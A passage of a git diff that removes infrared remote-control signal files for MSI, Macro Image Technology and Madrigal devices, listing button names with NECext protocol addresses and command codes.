-command: 41 00 00 00 -# -name: KEY_MP3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: KaraOk -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 46 00 00 00 -# -name: Ap -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 47 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4E 00 00 00 -# -name: Ttx -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4F 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 55 00 00 00 -# -name: Set -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 57 00 00 00 -# -name: Eq -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 58 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir deleted file mode 100644 index a4a8748da..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: T-Shift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: skip-fr -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: Ch.RTN. -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: skip-ff -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: mem.set -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4A 00 00 00 -# -name: Hifi -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir deleted file mode 100644 index 9d225a52e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir +++ /dev/null @@ -1,596 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: T-Shift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: HiFi -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: Mts/Srs -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: CH_RTN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: Ffd -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 40 00 00 00 -# -name: Fm/Am -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 41 00 00 00 -# -name: FMRadio -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 41 00 00 00 -# -name: KEY_MP3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 42 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 43 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 44 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 45 00 00 00 -# -name: KaraOk -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 46 00 00 00 -# -name: GameZone -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 46 00 00 00 -# -name: Ap -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 47 00 00 00 -# -name: Application -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 47 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 48 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 49 00 00 00 -# -name: Enter2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4D 00 00 00 -# -name: Enter_Small -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4D 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4E 00 00 00 -# -name: Ttx -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4F 00 00 00 -# -name: CC_TTX -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 4F 00 00 00 -# -name: Suspend -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 50 00 00 00 -# -name: Suspend -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 50 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 51 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 51 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 52 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 53 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 54 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 54 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 55 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 56 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 56 00 00 00 -# -name: Set -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 57 00 00 00 -# -name: Eq -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 58 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5B 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir deleted file mode 100644 index fe085051c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: Function -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: TShift -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir deleted file mode 100644 index 523e20dd7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 10 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 13 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 18 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 19 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 20 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 21 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 22 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 23 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 24 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 25 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 26 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 27 00 00 00 -# -name: F/F -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 28 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 29 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 31 00 00 00 -# -name: HD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 32 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir deleted file mode 100644 index d478537d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir deleted file mode 100644 index 23666b7aa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIGITAL_MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 27 00 00 00 -# -name: ANALOG_MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 28 00 00 00 -# -name: CLOSE_LID -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 29 00 00 00 -# -name: OPEN_LID -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: INDEX_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2E 00 00 00 -# -name: INDEX_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2F 00 00 00 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 30 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 31 00 00 00 -# -name: UNPAUSE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 -# -name: DISPLAY_MEDIUM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 34 00 00 00 -# -name: STOP;_NO_LID -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 35 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 36 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 37 00 00 00 -# -name: RANDOM_PLAY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir deleted file mode 100644 index 050796366..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AMPLIFIER_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: RECORD_OFF -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: RECORD_ON -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: REGULAR_POLARITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: INVERT_POLARITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 -# -name: HALF_INTENSITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 38 00 00 00 -# -name: FULL_INTENSITY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: RECORD_MODE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3A 00 00 00 -# -name: MONITOR_MODE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3B 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3D 00 00 00 -# -name: MUTE_(DISCREET) -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir deleted file mode 100644 index 58e988a2b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_1_(5) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: BAL/AUX_(9) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: L.D._(3) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: MASTER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: STDBY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: CD_2_(6) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: TUNER_(0) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: TV/AUX_(4) -type: parsed -protocol: NECext -address: 